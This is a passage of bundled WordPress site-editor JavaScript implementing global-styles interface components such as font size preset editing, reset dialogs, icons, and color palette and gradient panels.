  // Whether custom fluid values are used.
  const isCustomFluid = typeof fontSize?.fluid === 'object';
  const handleNameChange = value => {
    updateFontSize('name', value);
  };
  const handleFontSizeChange = value => {
    updateFontSize('size', value);
  };
  const handleFluidChange = value => {
    updateFontSize('fluid', value);
  };
  const handleCustomFluidValues = value => {
    if (value) {
      // If custom values are used, init the values with the current ones.
      updateFontSize('fluid', {
        min: fontSize.size,
        max: fontSize.size
      });
    } else {
      // If custom fluid values are disabled, set fluid to true.
      updateFontSize('fluid', true);
    }
  };
  const handleMinChange = value => {
    updateFontSize('fluid', {
      ...fontSize.fluid,
      min: value
    });
  };
  const handleMaxChange = value => {
    updateFontSize('fluid', {
      ...fontSize.fluid,
      max: value
    });
  };
  const updateFontSize = (key, value) => {
    const newFontSizes = sizes.map(size => {
      if (size.slug === slug) {
        return {
          ...size,
          [key]: value
        }; // Create a new object with updated key
      }
      return size;
    });
    setFontSizes({
      ...fontSizes,
      [origin]: newFontSizes
    });
  };
  const handleRemoveFontSize = () => {
    const newFontSizes = sizes.filter(size => size.slug !== slug);
    setFontSizes({
      ...fontSizes,
      [origin]: newFontSizes
    });
  };
  const toggleDeleteConfirm = () => {
    setIsDeleteConfirmOpen(!isDeleteConfirmOpen);
  };
  const toggleRenameDialog = () => {
    setIsRenameDialogOpen(!isRenameDialogOpen);
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(confirm_delete_font_size_dialog, {
      fontSize: fontSize,
      isOpen: isDeleteConfirmOpen,
      toggleOpen: toggleDeleteConfirm,
      handleRemoveFontSize: handleRemoveFontSize
    }), isRenameDialogOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(rename_font_size_dialog, {
      fontSize: fontSize,
      toggleOpen: toggleRenameDialog,
      handleRename: handleNameChange
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: 4,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "space-between",
        align: "flex-start",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
          title: fontSize.name,
          description: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: font size preset name. */
          (0,external_wp_i18n_namespaceObject.__)('Manage the font size %s.'), fontSize.name)
        }), origin === 'custom' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
            marginTop: 3,
            marginBottom: 0,
            paddingX: 4,
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Menu, {
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.TriggerButton, {
                render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
                  size: "small",
                  icon: more_vertical,
                  label: (0,external_wp_i18n_namespaceObject.__)('Font size options')
                })
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Menu.Popover, {
                children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.Item, {
                  onClick: toggleRenameDialog,
                  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.ItemLabel, {
                    children: (0,external_wp_i18n_namespaceObject.__)('Rename')
                  })
                }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.Item, {
                  onClick: toggleDeleteConfirm,
                  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.ItemLabel, {
                    children: (0,external_wp_i18n_namespaceObject.__)('Delete')
                  })
                })]
              })]
            })
          })
        })]
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalView, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
          paddingX: 4,
          marginBottom: 0,
          paddingBottom: 6,
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
            spacing: 4,
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
              children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_size_preview, {
                fontSize: fontSize
              })
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(size_control, {
              label: (0,external_wp_i18n_namespaceObject.__)('Size'),
              value: !isCustomFluid ? fontSize.size : '',
              onChange: handleFontSizeChange,
              disabled: isCustomFluid
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToggleControl, {
              label: (0,external_wp_i18n_namespaceObject.__)('Fluid typography'),
              help: (0,external_wp_i18n_namespaceObject.__)('Scale the font size dynamically to fit the screen or viewport.'),
              checked: isFluid,
              onChange: handleFluidChange,
              __nextHasNoMarginBottom: true
            }), isFluid && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToggleControl, {
              label: (0,external_wp_i18n_namespaceObject.__)('Custom fluid values'),
              help: (0,external_wp_i18n_namespaceObject.__)('Set custom min and max values for the fluid font size.'),
              checked: isCustomFluid,
              onChange: handleCustomFluidValues,
              __nextHasNoMarginBottom: true
            }), isCustomFluid && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(size_control, {
                label: (0,external_wp_i18n_namespaceObject.__)('Minimum'),
                value: fontSize.fluid?.min,
                onChange: handleMinChange
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(size_control, {
                label: (0,external_wp_i18n_namespaceObject.__)('Maximum'),
                value: fontSize.fluid?.max,
                onChange: handleMaxChange
              })]
            })]
          })
        })
      })]
    })]
  });
}
/* harmony default export */ const font_size = (FontSize);

;// ./node_modules/@wordpress/icons/build-module/library/plus.js
/**
 * WordPress dependencies
 */


const plus = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z"
  })
});
/* harmony default export */ const library_plus = (plus);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/confirm-reset-font-sizes-dialog.js
/**
 * WordPress dependencies
 */



function ConfirmResetFontSizesDialog({
  text,
  confirmButtonText,
  isOpen,
  toggleOpen,
  onConfirm
}) {
  const handleConfirm = async () => {
    toggleOpen();
    onConfirm();
  };
  const handleCancel = () => {
    toggleOpen();
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
    isOpen: isOpen,
    cancelButtonText: (0,external_wp_i18n_namespaceObject.__)('Cancel'),
    confirmButtonText: confirmButtonText,
    onCancel: handleCancel,
    onConfirm: handleConfirm,
    size: "medium",
    children: text
  });
}
/* harmony default export */ const confirm_reset_font_sizes_dialog = (ConfirmResetFontSizesDialog);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/font-sizes.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */







const {
  Menu: font_sizes_Menu
} = unlock(external_wp_components_namespaceObject.privateApis);
const {
  useGlobalSetting: font_sizes_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function FontSizeGroup({
  label,
  origin,
  sizes,
  handleAddFontSize,
  handleResetFontSizes
}) {
  const [isResetDialogOpen, setIsResetDialogOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  const toggleResetDialog = () => setIsResetDialogOpen(!isResetDialogOpen);
  const resetDialogText = origin === 'custom' ? (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to remove all custom font size presets?') : (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to reset all font size presets to their default values?');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [isResetDialogOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(confirm_reset_font_sizes_dialog, {
      text: resetDialogText,
      confirmButtonText: origin === 'custom' ? (0,external_wp_i18n_namespaceObject.__)('Remove') : (0,external_wp_i18n_namespaceObject.__)('Reset'),
      isOpen: isResetDialogOpen,
      toggleOpen: toggleResetDialog,
      onConfirm: handleResetFontSizes
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: 4,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "space-between",
        align: "center",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
          level: 3,
          children: label
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.FlexItem, {
          children: [origin === 'custom' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            label: (0,external_wp_i18n_namespaceObject.__)('Add font size'),
            icon: library_plus,
            size: "small",
            onClick: handleAddFontSize
          }), !!handleResetFontSizes && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(font_sizes_Menu, {
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes_Menu.TriggerButton, {
              render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
                size: "small",
                icon: more_vertical,
                label: (0,external_wp_i18n_namespaceObject.__)('Font size presets options')
              })
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes_Menu.Popover, {
              children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes_Menu.Item, {
                onClick: toggleResetDialog,
                children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes_Menu.ItemLabel, {
                  children: origin === 'custom' ? (0,external_wp_i18n_namespaceObject.__)('Remove font size presets') : (0,external_wp_i18n_namespaceObject.__)('Reset font size presets')
                })
              })
            })]
          })]
        })]
      }), !!sizes.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
        isBordered: true,
        isSeparated: true,
        children: sizes.map(size => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
          path: `/typography/font-sizes/${origin}/${size.slug}`,
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
              className: "edit-site-font-size__item",
              children: size.name
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
              display: "flex",
              children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
                icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
              })
            })]
          })
        }, size.slug))
      })]
    })]
  });
}
function font_sizes_FontSizes() {
  const [themeFontSizes, setThemeFontSizes] = font_sizes_useGlobalSetting('typography.fontSizes.theme');
  const [baseThemeFontSizes] = font_sizes_useGlobalSetting('typography.fontSizes.theme', null, 'base');
  const [defaultFontSizes, setDefaultFontSizes] = font_sizes_useGlobalSetting('typography.fontSizes.default');
  const [baseDefaultFontSizes] = font_sizes_useGlobalSetting('typography.fontSizes.default', null, 'base');
  const [customFontSizes = [], setCustomFontSizes] = font_sizes_useGlobalSetting('typography.fontSizes.custom');
  const [defaultFontSizesEnabled] = font_sizes_useGlobalSetting('typography.defaultFontSizes');
  const handleAddFontSize = () => {
    const index = getNewIndexFromPresets(customFontSizes, 'custom-');
    const newFontSize = {
      /* translators: %d: font size index */
      name: (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)('New Font Size %d'), index),
      size: '16px',
      slug: `custom-${index}`
    };
    setCustomFontSizes([...customFontSizes, newFontSize]);
  };
  const hasSameSizeValues = (arr1, arr2) => arr1.map(item => item.size).join('') === arr2.map(item => item.size).join('');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 2,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
      title: (0,external_wp_i18n_namespaceObject.__)('Font size presets'),
      description: (0,external_wp_i18n_namespaceObject.__)('Create and edit the presets used for font sizes across the site.')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalView, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
        paddingX: 4,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
          spacing: 8,
          children: [!!themeFontSizes?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FontSizeGroup, {
            label: (0,external_wp_i18n_namespaceObject.__)('Theme'),
            origin: "theme",
            sizes: themeFontSizes,
            baseSizes: baseThemeFontSizes,
            handleAddFontSize: handleAddFontSize,
            handleResetFontSizes: hasSameSizeValues(themeFontSizes, baseThemeFontSizes) ? null : () => setThemeFontSizes(baseThemeFontSizes)
          }), defaultFontSizesEnabled && !!defaultFontSizes?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FontSizeGroup, {
            label: (0,external_wp_i18n_namespaceObject.__)('Default'),
            origin: "default",
            sizes: defaultFontSizes,
            baseSizes: baseDefaultFontSizes,
            handleAddFontSize: handleAddFontSize,
            handleResetFontSizes: hasSameSizeValues(defaultFontSizes, baseDefaultFontSizes) ? null : () => setDefaultFontSizes(baseDefaultFontSizes)
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FontSizeGroup, {
            label: (0,external_wp_i18n_namespaceObject.__)('Custom'),
            origin: "custom",
            sizes: customFontSizes,
            handleAddFontSize: handleAddFontSize,
            handleResetFontSizes: customFontSizes.length > 0 ? () => setCustomFontSizes([]) : null
          })]
        })
      })
    })]
  });
}
/* harmony default export */ const font_sizes = (font_sizes_FontSizes);

;// ./node_modules/@wordpress/icons/build-module/library/shuffle.js
/**
 * WordPress dependencies
 */


const shuffle = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/SVG",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M17.192 6.75L15.47 5.03l1.06-1.06 3.537 3.53-3.537 3.53-1.06-1.06 1.723-1.72h-3.19c-.602 0-.993.202-1.28.498-.309.319-.538.792-.695 1.383-.13.488-.222 1.023-.296 1.508-.034.664-.116 1.413-.303 2.117-.193.721-.513 1.467-1.068 2.04-.575.594-1.359.954-2.357.954H4v-1.5h4.003c.601 0 .993-.202 1.28-.498.308-.319.538-.792.695-1.383.149-.557.216-1.093.288-1.662l.039-.31a9.653 9.653 0 0 1 .272-1.653c.193-.722.513-1.467 1.067-2.04.576-.594 1.36-.954 2.358-.954h3.19zM8.004 6.75c.8 0 1.46.23 1.988.628a6.24 6.24 0 0 0-.684 1.396 1.725 1.725 0 0 0-.024-.026c-.287-.296-.679-.498-1.28-.498H4v-1.5h4.003zM12.699 14.726c-.161.459-.38.94-.684 1.396.527.397 1.188.628 1.988.628h3.19l-1.722 1.72 1.06 1.06L20.067 16l-3.537-3.53-1.06 1.06 1.723 1.72h-3.19c-.602 0-.993-.202-1.28-.498a1.96 1.96 0 0 1-.024-.026z"
  })
});
/* harmony default export */ const library_shuffle = (shuffle);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/color-indicator-wrapper.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */


function ColorIndicatorWrapper({
  className,
  ...props
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
    className: dist_clsx('edit-site-global-styles__color-indicator-wrapper', className),
    ...props
  });
}
/* harmony default export */ const color_indicator_wrapper = (ColorIndicatorWrapper);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/palette.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */






const {
  useGlobalSetting: palette_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const EMPTY_COLORS = [];
function Palette({
  name
}) {
  const [customColors] = palette_useGlobalSetting('color.palette.custom');
  const [themeColors] = palette_useGlobalSetting('color.palette.theme');
  const [defaultColors] = palette_useGlobalSetting('color.palette.default');
  const [defaultPaletteEnabled] = palette_useGlobalSetting('color.defaultPalette', name);
  const [randomizeThemeColors] = useColorRandomizer();
  const colors = (0,external_wp_element_namespaceObject.useMemo)(() => [...(customColors || EMPTY_COLORS), ...(themeColors || EMPTY_COLORS), ...(defaultColors && defaultPaletteEnabled ? defaultColors : EMPTY_COLORS)], [customColors, themeColors, defaultColors, defaultPaletteEnabled]);
  const screenPath = !name ? '/colors/palette' : '/blocks/' + encodeURIComponent(name) + '/colors/palette';
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 3,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
      level: 3,
      children: (0,external_wp_i18n_namespaceObject.__)('Palette')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
      isBordered: true,
      isSeparated: true,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
        path: screenPath,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
          direction: "row",
          children: [colors.length > 0 ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalZStack, {
              isLayered: false,
              offset: -8,
              children: colors.slice(0, 5).map(({
                color
              }, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(color_indicator_wrapper, {
                children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ColorIndicator, {
                  colorValue: color
                })
              }, `${color}-${index}`))
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
              isBlock: true,
              children: (0,external_wp_i18n_namespaceObject.__)('Edit palette')
            })]
          }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
            children: (0,external_wp_i18n_namespaceObject.__)('Add colors')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
            icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
          })]
        })
      })
    }), window.__experimentalEnableColorRandomizer && themeColors?.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
      __next40pxDefaultSize: true,
      variant: "secondary",
      icon: library_shuffle,
      onClick: randomizeThemeColors,
      children: (0,external_wp_i18n_namespaceObject.__)('Randomize colors')
    })]
  });
}
/* harmony default export */ const palette = (Palette);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-colors.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */




const {
  useGlobalStyle: screen_colors_useGlobalStyle,
  useGlobalSetting: screen_colors_useGlobalSetting,
  useSettingsForBlockElement: screen_colors_useSettingsForBlockElement,
  ColorPanel: screen_colors_StylesColorPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ScreenColors() {
  const [style] = screen_colors_useGlobalStyle('', undefined, 'user', {
    shouldDecodeEncode: false
  });
  const [inheritedStyle, setStyle] = screen_colors_useGlobalStyle('', undefined, 'all', {
    shouldDecodeEncode: false
  });
  const [rawSettings] = screen_colors_useGlobalSetting('');
  const settings = screen_colors_useSettingsForBlockElement(rawSettings);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
      title: (0,external_wp_i18n_namespaceObject.__)('Colors'),
      description: (0,external_wp_i18n_namespaceObject.__)('Palette colors and the application of those colors on site elements.')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-global-styles-screen",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        spacing: 7,
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(palette, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_colors_StylesColorPanel, {
          inheritedValue: inheritedStyle,
          value: style,
          onChange: setStyle,
          settings: settings
        })]
      })
    })]
  });
}
/* harmony default export */ const screen_colors = (ScreenColors);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/preset-colors.js
/**
 * Internal dependencies
 */


function PresetColors() {
  const {
    paletteColors
  } = useStylesPreviewColors();
  return paletteColors.slice(0, 4).map(({
    slug,
    color
  }, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    style: {
      flexGrow: 1,
      height: '100%',
      background: color
    }
  }, `${slug}-${index}`));
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/preview-colors.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



const preview_colors_firstFrameVariants = {
  start: {
    scale: 1,
    opacity: 1
  },
  hover: {
    scale: 0,
    opacity: 0
  }
};
const StylesPreviewColors = ({
  label,
  isFocused,
  withHoverView
}) => {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreviewWrapper, {
    label: label,
    isFocused: isFocused,
    withHoverView: withHoverView,
    children: ({
      key
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
      variants: preview_colors_firstFrameVariants,
      style: {
        height: '100%',
        overflow: 'hidden'
      },
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
        spacing: 0,
        justify: "center",
        style: {
          height: '100%',
          overflow: 'hidden'
        },
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PresetColors, {})
      })
    }, key)
  });
};
/* harmony default export */ const preview_colors = (StylesPreviewColors);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/variations/variations-color.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */





function ColorVariations({
  title,
  gap = 2
}) {
  const propertiesToFilter = ['color'];
  const colorVariations = useCurrentMergeThemeStyleVariationsWithUserConfig(propertiesToFilter);

  // Return null if there is only one variation (the default).
  if (colorVariations?.length <= 1) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 3,
    children: [title && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
      level: 3,
      children: title
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, {
      spacing: gap,
      children: colorVariations.map((variation, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Variation, {
        variation: variation,
        isPill: true,
        properties: propertiesToFilter,
        showTooltip: true,
        children: () => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(preview_colors, {})
      }, index))
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/color-palette-panel.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



const {
  useGlobalSetting: color_palette_panel_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const mobilePopoverProps = {
  placement: 'bottom-start',
  offset: 8
};
function ColorPalettePanel({
  name
}) {
  const [themeColors, setThemeColors] = color_palette_panel_useGlobalSetting('color.palette.theme', name);
  const [baseThemeColors] = color_palette_panel_useGlobalSetting('color.palette.theme', name, 'base');
  const [defaultColors, setDefaultColors] = color_palette_panel_useGlobalSetting('color.palette.default', name);
  const [baseDefaultColors] = color_palette_panel_useGlobalSetting('color.palette.default', name, 'base');
  const [customColors, setCustomColors] = color_palette_panel_useGlobalSetting('color.palette.custom', name);
  const [defaultPaletteEnabled] = color_palette_panel_useGlobalSetting('color.defaultPalette', name);
  const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('small', '<');
  const popoverProps = isMobileViewport ? mobilePopoverProps : undefined;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    className: "edit-site-global-styles-color-palette-panel",
    spacing: 8,
    children: [!!themeColors && !!themeColors.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalPaletteEdit, {
      canReset: themeColors !== baseThemeColors,
      canOnlyChangeValues: true,
      colors: themeColors,
      onChange: setThemeColors,
      paletteLabel: (0,external_wp_i18n_namespaceObject.__)('Theme'),
      paletteLabelHeadingLevel: 3,
      popoverProps: popoverProps
    }), !!defaultColors && !!defaultColors.length && !!defaultPaletteEnabled && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalPaletteEdit, {
      canReset: defaultColors !== baseDefaultColors,
      canOnlyChangeValues: true,
      colors: defaultColors,
      onChange: setDefaultColors,
      paletteLabel: (0,external_wp_i18n_namespaceObject.__)('Default'),
      paletteLabelHeadingLevel: 3,
      popoverProps: popoverProps
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalPaletteEdit, {
      colors: customColors,
      onChange: setCustomColors,
      paletteLabel: (0,external_wp_i18n_namespaceObject.__)('Custom'),
      paletteLabelHeadingLevel: 3,
      slugPrefix: "custom-",
      popoverProps: popoverProps
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ColorVariations, {
      title: (0,external_wp_i18n_namespaceObject.__)('Palettes')
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/gradients-palette-panel.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



const {
  useGlobalSetting: gradients_palette_panel_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const gradients_palette_panel_mobilePopoverProps = {
  placement: 'bottom-start',
  offset: 8
};
const noop = () => {};
function GradientPalettePanel({
  name
}) {
  const [themeGradients, setThemeGradients] = gradients_palette_panel_useGlobalSetting('color.gradients.theme', name);
  const [baseThemeGradients] = gradients_palette_panel_useGlobalSetting('color.gradients.theme', name, 'base');
  const [defaultGradients, setDefaultGradients] = gradients_palette_panel_useGlobalSetting('color.gradients.default', name);
  const [baseDefaultGradients] = gradients_palette_panel_useGlobalSetting('color.gradients.default', name, 'base');
  const [customGradients, setCustomGradients] = gradients_palette_panel_useGlobalSetting('color.gradients.custom', name);
  const [defaultPaletteEnabled] = gradients_palette_panel_useGlobalSetting('color.defaultGradients', name);
  const [customDuotone] = gradients_palette_panel_useGlobalSetting('color.duotone.custom') || [];
  const [defaultDuotone] = gradients_palette_panel_useGlobalSetting('color.duotone.default') || [];
  const [themeDuotone] = gradients_palette_panel_useGlobalSetting('color.duotone.theme') || [];
  const [defaultDuotoneEnabled] = gradients_palette_panel_useGlobalSetting('color.defaultDuotone');
  const duotonePalette = [...(customDuotone || []), ...(themeDuotone || []), ...(defaultDuotone && defaultDuotoneEnabled ? defaultDuotone : [])];
  const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('small', '<');
